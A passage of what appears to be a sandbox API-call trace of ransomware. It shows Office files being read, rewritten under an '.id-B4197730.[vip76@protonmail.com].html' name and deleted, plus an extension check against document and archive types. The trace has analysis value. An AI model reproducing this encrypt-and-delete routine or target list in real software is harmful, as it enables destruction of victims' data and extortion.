	[0184.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.425] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.425] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.439] GetLastError () returned 0x0
	[0184.439] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x342e, lpOverlapped=0x0) returned 1
	[0184.442] WriteFile (in: hFile=0x5ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x3430, lpOverlapped=0x0) returned 1
	[0184.445] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.445] WriteFile (in: hFile=0x5ac, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.445] SetEndOfFile (hFile=0x5ac) returned 1
	[0184.445] CloseHandle (hObject=0x5ac) returned 1
	[0184.445] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.445] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.460] CloseHandle (hObject=0x5bc) returned 1
	[0184.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1
	[0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.462] lstrlenW (lpString=".doc") returned 4
	[0184.462] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.462] lstrlenW (lpString=".docx") returned 5
	[0184.462] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.462] lstrlenW (lpString=".pdf") returned 4
	[0184.462] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.462] lstrlenW (lpString=".xls") returned 4
	[0184.462] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.462] lstrlenW (lpString=".xlsx") returned 5
	[0184.462] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.462] lstrlenW (lpString=".ppt") returned 4
	[0184.462] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.462] lstrlenW (lpString=".zip") returned 4
	[0184.463] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.463] lstrlenW (lpString=".rar") returned 4
	[0184.463] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.463] lstrlenW (lpString=".bz2") returned 4
	[0184.463] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.463] lstrlenW (lpString=".7z") returned 3
	[0184.463] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.463] lstrlenW (lpString=".dbf") returned 4
	[0184.463] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.463] lstrlenW (lpString=".1cd") returned 4
	[0184.463] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.463] lstrlenW (lpString=".jpg") returned 4
	[0184.463] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.464] lstrlenW (lpString=".doc") returned 4
	[0184.464] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.464] lstrlenW (lpString=".docx") returned 5
	[0184.464] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.464] lstrlenW (lpString=".pdf") returned 4
	[0184.464] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.464] lstrlenW (lpString=".xls") returned 4
	[0184.464] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.464] lstrlenW (lpString=".xlsx") returned 5
	[0184.464] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.464] lstrlenW (lpString=".ppt") returned 4
	[0184.464] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.464] lstrlenW (lpString=".zip") returned 4
	[0184.464] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.464] lstrlenW (lpString=".rar") returned 4
	[0184.464] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.464] lstrlenW (lpString=".bz2") returned 4
	[0184.464] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.464] lstrlenW (lpString=".7z") returned 3
	[0184.464] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.465] lstrlenW (lpString=".dbf") returned 4
	[0184.465] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.465] lstrlenW (lpString=".1cd") returned 4
	[0184.465] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0184.465] lstrlenW (lpString=".jpg") returned 4
	[0184.465] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.465] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0184.465] lstrlenW (lpString="Banded Edge.eftx") returned 16
	[0184.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.265] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=47851) returned 1
	[0185.265] CloseHandle (hObject=0x5b0) returned 1
	[0185.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220
	[0185.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.266] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.267] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0185.268] GetLastError () returned 0x0
	[0185.268] ReadFile (in: hFile=0x5b0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xbaeb, lpOverlapped=0x0) returned 1
	[0185.271] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xbaf0, lpOverlapped=0x0) returned 1
	[0185.274] ReadFile (in: hFile=0x5b0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.274] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0185.274] SetEndOfFile (hFile=0x594) returned 1
	[0185.274] CloseHandle (hObject=0x594) returned 1
	[0185.274] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.275] SetEndOfFile (hFile=0x5b0) returned 1
	[0185.283] CloseHandle (hObject=0x5b0) returned 1
	[0185.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1
	[0185.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.285] lstrlenW (lpString=".doc") returned 4
	[0185.285] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.285] lstrlenW (lpString=".docx") returned 5
	[0185.285] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.285] lstrlenW (lpString=".pdf") returned 4
	[0185.286] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString=".xls") returned 4
	[0185.286] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString=".xlsx") returned 5
	[0185.286] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.286] lstrlenW (lpString=".ppt") returned 4
	[0185.286] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.286] lstrlenW (lpString=".zip") returned 4
	[0185.286] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString=".rar") returned 4
	[0185.286] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString=".bz2") returned 4
	[0185.286] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString=".7z") returned 3
	[0185.286] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.286] lstrlenW (lpString=".dbf") returned 4
	[0185.286] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.286] lstrlenW (lpString=".1cd") returned 4
	[0185.286] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.286] lstrlenW (lpString=".jpg") returned 4
	[0185.287] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.287] lstrlenW (lpString=".doc") returned 4
	[0185.287] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.287] lstrlenW (lpString=".docx") returned 5
	[0185.287] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.287] lstrlenW (lpString=".pdf") returned 4
	[0185.287] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.287] lstrlenW (lpString=".xls") returned 4
	[0185.287] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.287] lstrlenW (lpString=".xlsx") returned 5
	[0185.287] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.287] lstrlenW (lpString=".ppt") returned 4
	[0185.287] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.287] lstrlenW (lpString=".zip") returned 4
	[0185.288] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.288] lstrlenW (lpString=".rar") returned 4
	[0185.288] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.288] lstrlenW (lpString=".bz2") returned 4
	[0185.288] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.288] lstrlenW (lpString=".7z") returned 3
	[0185.288] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.288] lstrlenW (lpString=".dbf") returned 4
	[0185.288] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.288] lstrlenW (lpString=".1cd") returned 4
	[0185.288] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0185.288] lstrlenW (lpString=".jpg") returned 4
	[0185.288] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.288] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.288] lstrlenW (lpString="Grunge Texture.eftx") returned 19
	[0185.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.290] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=352776) returned 1
	[0185.290] CloseHandle (hObject=0x5b0) returned 1
	[0185.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220
	[0185.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.291] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.291] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0185.292] GetLastError () returned 0x0
	[0185.292] ReadFile (in: hFile=0x5b0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x56208, lpOverlapped=0x0) returned 1
	[0185.555] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x56210, lpOverlapped=0x0) returned 1
	[0185.649] ReadFile (in: hFile=0x5b0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.649] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0185.649] SetEndOfFile (hFile=0x594) returned 1
	[0185.649] CloseHandle (hObject=0x594) returned 1
	[0185.649] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.649] SetEndOfFile (hFile=0x5b0) returned 1
	[0185.660] CloseHandle (hObject=0x5b0) returned 1
	[0185.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1
	[0185.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.661] lstrlenW (lpString=".doc") returned 4
	[0185.661] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.661] lstrlenW (lpString=".docx") returned 5
	[0185.662] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.662] lstrlenW (lpString=".pdf") returned 4
	[0185.662] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString=".xls") returned 4
	[0185.662] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString=".xlsx") returned 5
	[0185.662] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.662] lstrlenW (lpString=".ppt") returned 4
	[0185.662] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.662] lstrlenW (lpString=".zip") returned 4
	[0185.662] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString=".rar") returned 4
	[0185.662] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString=".bz2") returned 4
	[0185.662] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString=".7z") returned 3
	[0185.662] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.662] lstrlenW (lpString=".dbf") returned 4
	[0185.662] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.662] lstrlenW (lpString=".1cd") returned 4
	[0185.662] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.662] lstrlenW (lpString=".jpg") returned 4
	[0185.662] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.663] lstrlenW (lpString=".doc") returned 4
	[0185.663] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString=".docx") returned 5
	[0185.663] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.663] lstrlenW (lpString=".pdf") returned 4
	[0185.663] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString=".xls") returned 4
	[0185.663] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString=".xlsx") returned 5
	[0185.663] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.663] lstrlenW (lpString=".ppt") returned 4
	[0185.663] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.663] lstrlenW (lpString=".zip") returned 4
	[0185.663] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString=".rar") returned 4
	[0185.663] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString=".bz2") returned 4
	[0185.663] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString=".7z") returned 3
	[0185.663] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.663] lstrlenW (lpString=".dbf") returned 4
	[0185.663] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.664] lstrlenW (lpString=".1cd") returned 4
	[0185.664] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0185.664] lstrlenW (lpString=".jpg") returned 4
	[0185.664] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.664] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.664] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23
	[0185.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0185.665] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=45229) returned 1
